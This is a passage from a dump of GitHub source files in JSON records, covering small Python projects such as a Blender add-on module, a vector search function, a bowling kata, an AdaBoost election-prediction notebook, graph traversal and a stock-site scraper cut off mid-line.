\"\"\"\n pref = get_prefs()\n if not pref.filepath:\n raise HumGenException(\"No filepath selected in HumGen preferences.\")\n base_humans_path = os.path.join(pref.filepath, \"content_packs\", \"Base_Humans.json\")\n\n base_content = os.path.exists(base_humans_path)\n\n if not base_content:\n raise HumGenException(\"Filepath selected, but no humans found in path\")\n\n\nclass PreviewCollection:\n \"\"\"Representation of a preview collection, for showing content users can pick.\"\"\"\n\n def __init__(self, name: str, pcoll: bpy.utils.previews.ImagePreviewCollection):\n \"\"\"Create a new pcoll instance.\n\n Args:\n name (str): Name of preview collection\n pcoll (bpy.utils.previews.ImagePreviewCollection): Bpy preview collection\n \"\"\"\n self.name = name\n self.pcoll = pcoll\n (\n self.extension,\n self.gender_split,\n self.subfolder,\n self.category_prop,\n self.search_term_prop,\n self.custom_icon,\n ) = PREVIEW_COLLECTION_DATA[self.name]\n\n if isinstance(self.subfolder, list):\n self.subfolder = os.path.join(*self.subfolder)\n\n def refresh(self, context: bpy.types.Context, gender: Optional[str] = None) -> None:\n \"\"\"Refresh the items of this preview.\n\n Args:\n context: bpy context\n gender: Gender to find options for (\"male\", \"female\")\n \"\"\"\n sett = context.scene.HG3D # type:ignore[attr-defined]\n _check_for_HumGen_filepath_issues()\n\n subcategory = (\n getattr(sett.pcoll, self.category_prop) if self.category_prop else None\n )\n if subcategory == \"All\":\n subcategory = None\n\n self.populate(context, gender, subcategory=subcategory, use_search_term=True)\n sett.pcoll[self.name] = \"none\" # set the preview collection to\n # the 'click here to select' item\n\n def populate(\n self,\n context: bpy.types.Context,\n gender: Optional[GenderStr],\n subcategory: Optional[str] = None,\n use_search_term: bool = True,\n ) -> None:\n \"\"\"Populates the pcoll enum list with blend file filepaths and icons.\n\n Args:\n context: bpy context\n gender: Gender to populate the pcoll for (\"male\", \"female\")\n subcategory: Only find files inside this subcategory\n use_search_term: Filter only files that match user defined search_term\n \"\"\"\n sett = context.scene.HG3D # type:ignore[attr-defined]\n sett.load_exception = self.name != \"pose\"\n pref = get_prefs()\n\n # clear previews list\n sett[\"previews_list_{}\".format(self.name)] = []\n self.previews_list = sett[\"previews_list_{}\".format(self.name)]\n\n # find category and subcategory in order to determine the dir to search\n\n gender = gender if gender and self.gender_split else \"\"\n if not subcategory or subcategory == \"All\":\n subcategory = \"\"\n\n pcoll_full_dir = os.path.join(\n pref.filepath, self.subfolder, gender, subcategory # type:ignore[arg-type]\n )\n\n if use_search_term and self.search_term_prop:\n search_term = getattr(sett.pcoll, self.search_term_prop)\n else:\n search_term = \"\"\n\n all_files = list_files_in_dir(pcoll_full_dir, search_term, self.extension)\n path_list = []\n if not all_files:\n empty_thumb = self._add_info_thumbnail(\"pcoll_empty\")\n pcoll_enum = [(\"none\", \"\", \"\", empty_thumb.icon_id, 0)]\n else:\n none_thumb = self._add_info_thumbnail(\"pcoll_placeholder\")\n pcoll_enum = [(\"none\", \"\", \"\", none_thumb.icon_id, 0)]\n for i, full_path in enumerate(all_files):\n # Skip expression shapekeys to prevent double items\n if self.name == \"shapekeys\" and \"expressions\" in full_path:\n continue\n short_path = os.path.relpath(full_path, pref.filepath)\n\n pcoll_enum.append(\n (\n short_path,\n get_display_name(full_path),\n \"\",\n self._get_thumbnail_for_item(full_path).icon_id,\n i + 1,\n )\n )\n path_list.append(short_path)\n\n self.pcoll[self.name] = pcoll_enum # type:ignore[index]\n sett[f\"previews_list_{self.name}\"] = path_list\n\n sett.load_exception = False\n\n def find_folders(self, gender: GenderStr, include_all: bool = True) -> BpyEnum:\n \"\"\"Gets enum of folders found in a specific directory.\n\n These serve as categories for that specific pcoll\n\n Args:\n gender (GenderStr): Gender to find folders for (\"male\", \"female\")\n include_all (bool): include \"All\" as first item. Defaults to True.\n\n Returns:\n BpyEnum: Enum of folders in format (folder_name, folder_name, \"\", idx)\n \"\"\"\n pref = get_prefs()\n\n folder = PREVIEW_COLLECTION_DATA[self.name][2]\n if isinstance(folder, list):\n folder = os.path.join(*folder)\n\n separate_folders_for_genders = PREVIEW_COLLECTION_DATA[self.name][1]\n if separate_folders_for_genders:\n categ_folder = os.path.join(pref.filepath, folder, gender)\n else:\n categ_folder = os.path.join(pref.filepath, folder)\n\n if not os.path.isdir(categ_folder):\n hg_log(\n f\"Can't find folder {categ_folder} for preview collection {self.name}\",\n level=\"DEBUG\",\n )\n return [(\"NOT INSTALLED\", \"NOT INSTALLED\", \"\", i) for i in range(99)]\n\n dirlist = os.listdir(categ_folder)\n dirlist.sort()\n categ_list = []\n ext = (\".jpg\", \"png\", \".jpeg\", \".blend\")\n # FIXME\n for item in dirlist:\n if not item.endswith(ext) and \".DS_Store\" not in item:\n categ_list.append(item)\n\n if not categ_list:\n categ_list.append(\"No Category Found\")\n\n enum_list = [(\"All\", \"All Categories\", \"\", 0)] if include_all else []\n for i, name in enumerate(categ_list):\n idx = i if self.name == \"texture\" else i + 1\n enum_list.append((name, name, \"\", idx))\n\n if not enum_list:\n return [(\"ERROR\", \"ERROR\", \"\", i) for i in range(99)]\n else:\n return enum_list\n\n def _get_thumbnail_for_item(self, full_path: str) -> bpy.types.ImagePreview:\n if self.custom_icon:\n filepath_thumb = os.path.join(\n get_addon_root(), \"user_interface\", \"icons\", self.custom_icon\n )\n else:\n filepath_thumb = os.path.splitext(full_path)[0] + \".jpg\"\n if not self.pcoll.get(filepath_thumb): # type:ignore[attr-defined]\n return self.pcoll.load(filepath_thumb, filepath_thumb, \"IMAGE\")\n else:\n return self.pcoll[filepath_thumb] # type:ignore[index, no-any-return]\n\n def _add_info_thumbnail(self, thumb_name: str) -> bpy.types.ImagePreview:\n \"\"\"Loads a thumbnail for this pcoll item.\n\n Args:\n thumb_name (str): name of the thumbnail image, excluding extension\n\n Returns:\n list: icon in enumarator\n \"\"\"\n filepath_thumb = os.path.join(\n get_addon_root(), \"user_interface\", \"icons\", f\"{thumb_name}.jpg\"\n )\n if not self.pcoll.get(filepath_thumb): # type:ignore[attr-defined]\n return self.pcoll.load(filepath_thumb, filepath_thumb, \"IMAGE\")\n else:\n return self.pcoll[filepath_thumb] # type:ignore[index, no-any-return]\n\n\ndef list_files_in_dir(\n search_dir: str,\n search_term: str,\n ext: Union[str, tuple[str, ...]],\n skip_pbr_folder: bool = False,\n) -> list[str]:\n \"\"\"Gets a list of files in dir with certain extension.\n\n Extension depends on the passed pcoll_type. Also handles search terms the users\n entered in a searchbox\n\n Args:\n search_dir (str): Directory to search in\n search_term: Only return files with this in their name\n ext: Extension of files, optionally including period\n skip_pbr_folder: Skips folders that have PBR in their name (internal use)\n\n Returns:\n list: list of file paths in dir of certain extension\n \"\"\"\n file_paths = []\n for root, _, files in os.walk(search_dir):\n if skip_pbr_folder and \"PBR\" in root:\n continue # don't show textures in PBR folder of texture sets``\n for fn in files:\n if not fn.lower().endswith(ext):\n continue\n if search_term.lower() not in fn.lower():\n continue\n\n full_path = os.path.join(root, fn)\n file_paths.append(full_path)\n\n hg_log(f\"getting files in {search_dir}\", level=\"DEBUG\")\n hg_log(f\"found files {file_paths}\", level=\"DEBUG\")\n\n return file_paths\n\n\ndef get_display_name(full_path: str) -> str:\n \"\"\"Transforms internal name to displayable name.\n\n Args:\n full_path (str): full path of item to make display name for\n\n Returns:\n str: display name\n \"\"\"\n display_name: str = os.path.splitext(os.path.basename(full_path))[0]\n for remove_string in (\"HG\", \"Male\", \"Female\"):\n display_name = display_name.replace(remove_string, \"\")\n return display_name.replace(\"_\", \" \")\n","repo_name":"OliverJPost/HumGen3D","sub_path":"backend/preview_collections.py","file_name":"preview_collections.py","file_ext":"py","file_size_in_byte":11589,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"62"} +{"seq_id":"25589005991","text":"import dataclasses\nfrom typing import Any, Callable, Dict\n\n# Connected Mobility Solution on AWS\nfrom .alerts import create_ev_battery_health_alert_rule_group\n\n\n@dataclasses.dataclass(frozen=True)\nclass AlertGroupConfig:\n alert_group_folder: str\n s3_object_key_name: str\n alert_group_creator_func: Callable[[Dict[str, Any]], Dict[str, Any]]\n\n\nALERT_GROUP_CONFIGS = [\n AlertGroupConfig(\n alert_group_folder=\"ev_battery_health\",\n s3_object_key_name=\"alert_rules\",\n alert_group_creator_func=create_ev_battery_health_alert_rule_group,\n ),\n]\n","repo_name":"aws-solutions/connected-mobility-solution-on-aws","sub_path":"templates/modules/cms_ev_battery_health_on_aws/v1/instance_infrastructure/source/handlers/custom_resource/lib/alert_configs.py","file_name":"alert_configs.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"62"} +{"seq_id":"38457882525","text":"from searchengine.index.index import Index\nfrom math import sqrt\nfrom searchengine.parser import RequestDocument\n\n\ndef vectorial_search(request, index, nb_answers, weighting_method):\n \"\"\"\n Parameters : a request, documents list, common words, number of answers and weighting method\n Result : a list of k document ids ranked by pertinence\n \"\"\"\n out = [] # list of pairs (doc_id, pertinence)\n request_doc = RequestDocument(request)\n request_index = Index(index.common_words, [request_doc])\n request_weights = request_index.get_weights(request_doc.doc_id, weighting_method, index)\n for doc_id in index.doc_ids:\n doc_weights = index.get_weights(doc_id, weighting_method, index)\n l1, l2 = build_weights_vectors(request_weights, doc_weights)\n sim = similarity(l1, l2)\n if sim != 0:\n out.append((doc_id, sim))\n out = sorted(out, key=lambda x: -x[1])\n return out[:nb_answers]\n\n\ndef similarity(l1, l2):\n \"\"\"\n Returns the similarity between l1 and l2\n \"\"\"\n assert(len(l1) == len(l2))\n assert(len(l1) > 0)\n scalar = 0\n for i in range(0, len(l1)):\n scalar += l1[i] * l2[i]\n if scalar == 0:\n return 0\n norm1 = sqrt(sum(v ** 2 for v in l1))\n norm2 = sqrt(sum(v ** 2 for v in l2))\n return scalar / (norm1 * norm2)\n\n\ndef build_weights_vectors(weights1, weights2):\n \"\"\"\n Parameters:\n weights1, weights2: dictionnaries mapping words to their weight\n Returns:\n two lists (vectors) in the space where each word is an axis\n Example:\n >>> w1 = {\"word\":2, \"hey\":1, \"nope\":3}\n >>> w2 = {\"word\":1, \"nope\": 4}\n >>> l1, l2 = build_weights_vectors(w1, w2)\n >>> print(l1)\n [2, 1, 3]\n >>> print(l2):\n [1, 0, 4]\n \"\"\"\n l1 = []\n l2 = []\n for word in set(weights1.keys()) | set(weights2.keys()):\n if word in weights1.keys():\n l1.append(weights1[word])\n else:\n l1.append(0)\n if word in weights2:\n l2.append(weights2[word])\n else:\n l2.append(0)\n return l1, l2\n","repo_name":"Neki/searchengine","sub_path":"searchengine/search/vectorial_search.py","file_name":"vectorial_search.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70829191237","text":"def Ag2015():\n #20151214#\n \n \"\"\"\n for signal-3L result processing\n \"\"\"\n \n my3L = open(\"D:\\\\mine\\\\OneDrive\\\\Lab\\\\Jiang Lab Pubilic\\\\ProteomeAg\\\\Signal3L result.txt\").read().split(\"Hong-Bin\")\n \n fo = open(\"D:\\\\mine\\\\OneDrive\\\\Lab\\\\Jiang Lab Pubilic\\\\ProteomeAg\\\\ProteinSeq_all.txt\",\"r\")\n \n from Bio import SeqIO\n myFa = list(SeqIO.parse(fo,\"fasta\"))\n \n my3Lk =[]\n for ele in my3L:\n if \"According to Signal-3L engine for your selected species, your input sequence does not include a signal peptide.\" not in ele:\n my3Lk.append(ele)\n \n myK = []\n for ele2 in myFa:\n for ele in my3Lk:\n if str(ele2.seq[:30]) in ele:\n myK.append((ele2.id,ele))\n \n fo = open(\"signal3L-out_with.txt\",\"w\")\n for ele in myK:\n fo.write(ele[0]+\"\\t\"+ele[1])\n fo.close()\n \n \"\"\"\n plot peptides on protein\n \"\"\"\n import matplotlib.pyplot as plt\n import numpy as np\n \n NUM_COLORS = 12\n \n cm = plt.get_cmap('Accent')\n fig = plt.figure()\n ax = fig.add_subplot(111)\n ax.set_color_cycle([cm(1.*i/NUM_COLORS) for i in range(NUM_COLORS)])\n for i in range(NUM_COLORS):\n ax.plot(np.arange(10)*(i+1))\n \n fig.savefig('moreColors.pdf')\n plt.show()\n \n import matplotlib.pyplot as plt\n import numpy as np\n folder = \"E:\\\\store_for_D\\\\XuesongMassRawData\\\\txt\\\\band\\\\\"\n templist1 = open(folder+\"test.txt\").readlines()\n mylist =[]\n for ele in templist1[1:]:\n mylist.append(ele.split(\"\\t\"))\n mydic={}\n for ele in mylist:\n abundance = int(ele[3])\n if abundance not in mydic:\n mydic[abundance] =[]\n mydic[abundance].append(ele)\n \n from matplotlib.backends.backend_pdf import PdfPages\n pp = PdfPages('AgProteinSlides5o.pdf')\n NUM_COLORS = 12\n cm = plt.get_cmap('nipy_spectral')\n TOP = 300\n totalcontrol = 1\n totalinduced = 1\n minamount = 1e7\n for proteins in mydic:\n if proteins <= TOP:\n plt.title(str(proteins)+\" \"+ mydic[proteins][0][2]+\" \"+mydic[proteins][0][31],fontsize =6)\n for peptides in mydic[proteins]:\n plt.plot([0,int(peptides[4])],[0,0],'k',linewidth=0.1)\n baseamount = 0\n baseamount2 = 0\n totalcontrol = 0\n totalinduced = 0\n for slides in range(12):\n totalcontrol += int(peptides[slides+7])\n totalinduced += int(peptides[slides+7+12])\n aglengend1 =[]\n aglengend2 =[]\n if totalcontrol+totalinduced >= minamount:\n totalcontrol = 1\n totalinduced = 1\n for slides in range(12):\n if totalcontrol >0:\n p1 = plt.bar(left = int(peptides[5]), width = int(peptides[6]),\\\n height = int(peptides[slides+7])/totalcontrol, bottom = baseamount, \\\n linewidth=0.05, color = cm(slides/NUM_COLORS))\n baseamount = baseamount + int(peptides[slides+7])/totalcontrol\n if totalinduced >0:\n plt.bar(left = int(peptides[5]), width = int(peptides[6]),\\\n height = -int(peptides[slides+7+12])/totalinduced, bottom = baseamount2, \\\n linewidth=0.05, color = cm(slides/NUM_COLORS))\n baseamount2 = baseamount2 - int(peptides[slides+7+12])/totalinduced\n import matplotlib.patches as mpatches\n myhandles = []\n for slides in range(NUM_COLORS):\n myhandles.append(mpatches.Patch(color = cm(slides/NUM_COLORS), label = str(slides+1)))\n plt.legend(handles=myhandles,loc=2,borderaxespad=0.,bbox_to_anchor=(1, 1),fontsize=4)\n # plt.legend(handles=myhandles,markerscale=0.3,fontsize=4)\n pp.savefig()\n plt.close()\n pp.close()\n exit()\n \n import matplotlib.patches as mpatches\n import matplotlib.pyplot as plt\n cm = plt.get_cmap('Accent')\n NUM_COLORS = 12\n \n myhandles = []\n for slides in range(NUM_COLORS):\n myhandles.append(mpatches.Patch(color = cm(slides/NUM_COLORS), label = str(slides+1)))\n red_patch = mpatches.Patch(color='red', label='The red data')\n green_patch = mpatches.Patch(color='green', label='The green data')\n \n plt.legend(handles=myhandles,loc=2,borderaxespad=0.)\n \n plt.show()\n","repo_name":"ATPs/XCProject","sub_path":"Ag/AgProteome.py","file_name":"AgProteome.py","file_ext":"py","file_size_in_byte":4574,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"13609849404","text":"import math\n\n\ndef load_data():\n with open(\"aoc20-06-data.txt\", \"r\") as f:\n data = f.read() \n print(\"Loaded lines:\", len(data))\n return data\n\ndata = load_data()\n\nrecords = data.strip().replace('\\n\\n','|').replace('\\n',' ').split('|')\nbase = set(\"abcdefghijklmnopqrstuvwxyz\")\n# base is used here to revmove spaces from the other sets\nuniques = [len(base.intersection(set(group))) for group in records]\nprint(f'uniques = {sum(uniques)}')\n\ncommons=[]\n# base is used here as starting set for the intersection\nfor group in records:\n commons.append(len(base.intersection(*[set(s) for s in group.split(' ')])))\n\nprint(f'commons = {sum(commons)}')\n\n","repo_name":"pascalddg/AoC","sub_path":"AoC2020/aoc20-06-code.py","file_name":"aoc20-06-code.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35276260818","text":"'''This module first conducts gradient based searching for the optimally\ndistinguished 2x2 game matrices for a subset of parameter space. It then \nconducts exhaustive searching for the optimally distinguished 2x2 game matrices\non the subset of distinguishable matrices identified and find the optimal \nmatrix based on data simulation.'''\n\nfrom searches import simple_search, exhaust\nimport numpy as np\nfrom plot import *\n\nif __name__ == \"__main__\":\n # Create the space of potentially optimal matrices\n opt_space = []\n\n # Search given constant param spaces for optimal matrices\n for tau in np.arange(0.5, 3.5, 0.5):\n for lamb in np.arange(1, 5):\n for alpha in np.arange(0.3, 0.7, 0.1):\n opt_space.append(simple_search.opt_search(10, (tau, alpha, lamb)))\n\n # Find the most distinguishable matrix in the space with data simulation\n dist, opt_mat, (t, l, a_l1, a_pch) = exhaust.exhaustive_search(opt_space)\n print(\"Most distinguishable matrix:\")\n print(opt_mat)\n print(\"Distinguishability: {}\".format(dist))\n print(\"PCH: t={}, a={}\".format(t, a_pch))\n print(\"QRE: l={}\".format(l))\n print(\"Level 1: a={}\".format(a_l1))\n plot_predictions(opt_mat, 10, t, l, a_pch, a_l1)\n","repo_name":"Espeer5/itsInTheGame","sub_path":"src/run_search.py","file_name":"run_search.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22508988106","text":"\"\"\"\n 2013-03-28 morning\n The Bowling Game - http://codingdojo.org/cgi-bin/wiki.pl?KataBowling\n\n FAILED!\n Next time should construct a list of each roll's contribution to the total score.\n Each roll contributes 1) the number of pins knocked down in the roll, 2) bonuses depending on the next\n two rolls.\n\n rolls: 0 0 9 / 5 / X X 9 - X X X X X X\n basic: 0 0 9 1 5 5 10 10 9 0 10 10 10 10 0 0\n bonus: 0 0 0 5 0 10 19 9 0 0 20 20 20 20\n total: 0 15 20 29 19 9 30 30 30 30\n\n TOTAL: 15 + 20 + 29 + 19 + 9 + 30*4 = 212\n\n\"\"\"\nfrom unittest.case import TestCase\n\n\ndef score(rolls):\n\n STRIKE = 'X'\n SPARE = '/'\n\n rolls = rolls.replace(' ', '')\n\n def is_complete(frame):\n return len(frame) == 2 or frame[0] in ['x', 'X']\n\n def score_frame(frame):\n if frame[0] in ['x', 'X']:\n return STRIKE\n elif len(frame) == 2 and frame[1] == '/':\n return SPARE\n else:\n score = 0\n for x in frame:\n if x != '-':\n score += int(x)\n return score\n\n def true_score(score):\n if score in [STRIKE, SPARE]:\n return 10\n else:\n return score\n\n frames = []\n frame = []\n for i in range(0, len(rolls)):\n if not frame:\n frame = [rolls[i]]\n else:\n frame.append(rolls[i])\n if is_complete(frame):\n frames.append(frame)\n frame = []\n\n frame_scores = []\n total_score = 0\n\n first_score = score_frame(frames[0])\n total_score += true_score(first_score)\n frame_scores.append(first_score)\n\n for i in range(1, len(frames)):\n previous_score = frame_scores[-1]\n current_score = score_frame(frames[i])\n total_score += true_score(current_score)\n\n if i <= 10:\n if previous_score == STRIKE:\n total_score += true_score(current_score)\n if i >= 2 and score_frame(frame_scores[-2]) == STRIKE:\n total_score += true_score(current_score)\n elif previous_score == SPARE:\n total_score += score_frame([[frames[i][0]]])\n\n frame_scores.append(current_score)\n\n return total_score\n\n\nclass BowlingGameTest(TestCase):\n\n def test_one_roll(self):\n self.assertEqual(0, score('00'))\n self.assertEqual(0, score('0-'))\n self.assertEqual(9, score('-9'))\n self.assertEqual(10, score('2/'))\n self.assertEqual(10, score('X'))\n\n def test_two_rolls(self):\n self.assertEqual(5, score('23'))\n\n self.assertEqual(9, score('-9'))\n\n self.assertEqual(10, score('2/'))\n\n def test_strikes(self):\n self.assertEqual(12, score('02X'))\n self.assertEqual(14, score('X2-'))\n\n def test_spares(self):\n self.assertEqual(12, score('2/1-'))\n self.assertEqual(14, score('2/12'))\n\n def test_my_big_example(self):\n self.assertEqual(212, score('00 9/ 5/ X X 9- X X X X X X'))\n\n def test_consecutive_strikes(self):\n self.assertEqual(30, score('XX'))\n self.assertEqual(60, score('XXX'))\n self.assertEqual(30, score('0-0-0-0-0-0-0-0-0-XXX'))\n\n def test_reference_examples(self):\n self.assertEqual(300, score('XXXXXXXXXXXX'))\n self.assertEqual(90, score('9-9-9-9-9-9-9-9-9-9-'))\n self.assertEqual(150, score('5/5/5/5/5/5/5/5/5/5/5'))","repo_name":"jbasko/katas","sub_path":"katas2013/kata7.py","file_name":"kata7.py","file_ext":"py","file_size_in_byte":3655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7082096346","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import AdaBoostRegressor\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.metrics import roc_curve, roc_auc_score\n\n\n# ## Load the data\n\n# In[2]:\n\n\ntrain_data_2008 = np.loadtxt('data/train_2008.csv', skiprows=1, delimiter=',')\ntest_data_2008 = np.loadtxt('data/test_2008.csv', skiprows=1, delimiter=',')\ntest_data_2012 = np.loadtxt('data/test_2012.csv', skiprows=1, delimiter=',')\n\n\n# In[3]:\n\n\nX_train_2008 = train_data_2008[:,3:-1]\nY_train_2008 = train_data_2008[:,-1]\nX_test_2008 = test_data_2008[:,3:]\nX_test_2012 = test_data_2012[:,3:]\n\n\n# ## Data pre-process\n\n# In[4]:\n\n\ndef normalize_data_column(x):\n '''\n normalize the input data such that it is centered around zero and has standard deviation of 1.0\n Inputs:\n x: a (N, D) shaped numpy array containing the data points.\n Outputs:\n xp: a (N, D) shaped numpy array containing the normalized data points.\n '''\n xp = np.zeros_like(x)\n \n for idx_D in range(len(x[0,:])): #normalize each column independently\n average = np.mean(x[:,idx_D])\n std_dev = np.std(x[:,idx_D])\n if std_dev > 0:\n xp[:,idx_D] = (x[:, idx_D] - average)/std_dev\n elif average != 0: #if all the elements are the same in that column, make all of them to be one\n xp[:,idx_D] = x[:, idx_D]/average\n else:\n xp[:,idx_D] = x[:, idx_D]\n \n return xp\n\n\n# In[ ]:\n\n\n#normalize each column of the data\nX_train_2008 = normalize_data_column(X_train_2008)\nX_test_2008 = normalize_data_column(X_test_2008)\nX_test_2012 = normalize_data_column(X_test_2012)\n\n\n# In[ ]:\n\n\n#split the training data into training and validation dataset\nX_train, X_valid, Y_train, Y_valid = train_test_split(X_train_2008, Y_train_2008, test_size=0.3)\n\n\n# ## Build and train the model\n\n# In[ ]:\n\n\nmodel_parameter = \"adaboost_lr0p3_lossSquare_nest1000_minsamplesplit2_maxdepth5_sqrt_random_skipdatacolumn012\"\n\n\n# In[ ]:\n\n\n#estimator for adaboost\nada_tree_estimator = DecisionTreeRegressor(min_samples_split=2, max_depth=5, max_features='sqrt', splitter='random')\n#adaboost regressor\nab = AdaBoostRegressor(ada_tree_estimator, learning_rate=0.03, loss='square', n_estimators=1000)\n#fit\nab.fit(X_train, Y_train)\n\n\n# ## Validation\n\n# In[ ]:\n\n\n## calculate the AUC - area under the curve\nY_train_predict = ab.predict(X_train)\nY_valid_predict = ab.predict(X_valid)\nAUC_train = roc_auc_score(Y_train, Y_train_predict)\nprint(AUC_train)\nAUC_valid = roc_auc_score(Y_valid, Y_valid_predict)\nprint(AUC_valid)\n\n\n# In[ ]:\n\n\n## draw the ROC curve\nfpr_train, tpr_train, _ = roc_curve(Y_train, Y_train_predict)\nfpr_valid, tpr_valid, _ = roc_curve(Y_valid, Y_valid_predict)\nplt.figure()\nlw = 2\nplt.plot(fpr_train, tpr_train, color='blue',\n lw=lw, label='training set, AUC = %.3f'%AUC_train)\nplt.plot(fpr_valid, tpr_valid, color='darkorange',\n lw=lw, label='validation set, AUC = %.3f'%AUC_valid)\nplt.plot([0, 1], [0, 1], color='black', lw=lw, linestyle='--')\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel('Background (false positives)')\nplt.ylabel('Signal (true positives)')\nplt.legend(loc=0, shadow=True)\nplt.title(r'ROC curve')\nplt.savefig('plots/ROC_'+model_parameter+'.pdf')\n\n\n# ## Make the prediction!\n\n# In[ ]:\n\n\npredict_test_2008 = ab.predict(X_test_2008)\npredict_test_2012 = ab.predict(X_test_2012)\n\n\n# ## Write to submission file\n\n# In[ ]:\n\n\nids_2008 = np.arange(len(X_test_2008))\nids_2012 = np.arange(len(X_test_2012))\ntarget_2008 = np.copy(predict_test_2008)\ntarget_2008 = np.copy(predict_test_2008)\ntarget_2012 = np.copy(predict_test_2012)\n\n\n# In[ ]:\n\n\nsubm_2008 = np.stack([ids_2008,target_2008], axis=1)\nsubm_2012 = np.stack([ids_2012,target_2012], axis=1)\n#let's name the submission file in this way\n#submission_2008or2012_date_version_algorithm_person.csv\nnp.savetxt('submission/submission_2008_02102019_v2_'+model_parameter+'_Zhicai.csv', subm_2008, fmt='%d,%.6f', header='id,target', comments='')\nnp.savetxt('submission/submission_2012_02102019_v2_'+model_parameter+'_Zhicai.csv', subm_2012, fmt='%d,%.6f', header='id,target', comments='')\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"cs155cctw/project1","sub_path":"part1_notebook.py","file_name":"part1_notebook.py","file_ext":"py","file_size_in_byte":4272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"24038955192","text":"class Passeio:\n\n @staticmethod\n def encontrarVerticesAlcancaveis(grafos, idDoGrafo, verticeInicial):\n for grafo in grafos:\n if grafo['id'] == idDoGrafo:\n vertices = grafo['vertices']\n arestas = grafo['edges']\n verticeAlcancavel = [verticeInicial.strip('\"')]\n fila = [verticeInicial]\n while fila:\n verticeAtual = fila.pop(0)\n for aresta in arestas:\n if aresta[0] == verticeAtual and aresta[1] not in verticeAlcancavel:\n verticeAlcancavel.append(aresta[1])\n fila.append(aresta[1])\n elif aresta[1] == verticeAtual and aresta[0] not in verticeAlcancavel:\n verticeAlcancavel.append(aresta[0])\n fila.append(aresta[0])\n print(\"\\nNo grafo \", idDoGrafo, \":\\nVértices alcançáveis a partir de \", verticeInicial, \": \", verticeAlcancavel)\n return\n print(\"\\nNenhum vértice alcançável a partir de \", verticeInicial, \" no grafo \" ,idDoGrafo)\n\n @staticmethod\n def encontrarVerticesInalcancaveis(grafos, idDoGrafo, verticeInicial):\n for grafo in grafos:\n if grafo['id'] == idDoGrafo:\n vertices = grafo['vertices']\n arestas = grafo['edges']\n verticesAlcancaveis = [verticeInicial]\n queue = [verticeInicial]\n while queue:\n current_vertex = queue.pop(0)\n for aresta in arestas:\n if aresta[0] == current_vertex and aresta[1] not in verticesAlcancaveis:\n verticesAlcancaveis.append(aresta[1])\n queue.append(aresta[1])\n elif aresta[1] == current_vertex and aresta[0] not in verticesAlcancaveis:\n verticesAlcancaveis.append(aresta[0])\n queue.append(aresta[0])\n verticesInalcancaveis = [vertex for vertex in vertices if vertex not in verticesAlcancaveis]\n print(\"\\nNo grafo \", idDoGrafo, \":\\nVértices inalcançáveis a partir do vértice \", verticeInicial, \": \",verticesInalcancaveis)\n return\n print(\"\\nNenhum vértice inalcançável a partir de \", verticeInicial, \" no grafo \", idDoGrafo)","repo_name":"LeoneRSantos/Ferramenta-para-grafos","sub_path":"Grafos/Passeio.py","file_name":"Passeio.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39567951381","text":"from django.urls import path, re_path, include\nfrom kuber import views\n\nurlpatterns = [\n # path('admin/', admin.site.urls),\n re_path('^node/$', views.node, name=\"node\"),\n re_path('^node_api/$', views.node_api, name=\"node_api\"),\n re_path('^namespace/$', views.namespace, name=\"namespace\"),\n re_path('^pv/$', views.pv, name=\"pv\"),\n re_path('^pv_api/$', views.pv_api, name=\"pv_api\"),\n]\n","repo_name":"xbw1220/Django-k8s","sub_path":"kuber/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"24975365712","text":"\r\n\r\n\r\n\r\n\r\n\r\nimport pyfiglet\r\n\r\ntitle=pyfiglet.figlet_format(\"tic tac teo\", font=\"slant\")\r\nprint (title)\r\n\r\ngame_board=[[\" -\"],[\" -\"],[\" -\"],\r\n [\" -\"],[\" -\"],[\" -\"],\r\n [\" -\"],[\" -\"],[\" -\"]] \r\n\r\nfor row in game_board:\r\n for cell in row:\r\n print (cell,end=\"\")\r\n print()\r\n\r\nprint(\"player1\")\r\nrow=int(input())\r\ncol=int(input())\r\n\r\ngame_board[row][col]=\"x\"\r\nfor row in game_board:\r\n for cell in row:\r\n print(cell,end=\"\")\r\n print()","repo_name":"AtenaJafary/t4","sub_path":"d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34682862956","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom pymongo import MongoClient\nimport os, hashlib, random, time, traceback, logging\nfrom os.path import dirname, abspath\n\nstart_links = [\n \"https://klse.i3investor.com/financial/quarter/latest.jsp\",\n \"https://klse.i3investor.com/financial/quarter/upcoming.jsp\"\n]\n\nprefix_link = 'https://klse.i3investor.com'\n\nheader = {\n 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36',\n}\n\na = []\nb = []\ncounts = 1\npath_name = os.path.dirname(os.path.realpath(__file__))\ndirectory = path_name + '/Data/StockQuarterDetails'\nfor link in start_links:\n response = requests.get(link, headers=header)\n soup = 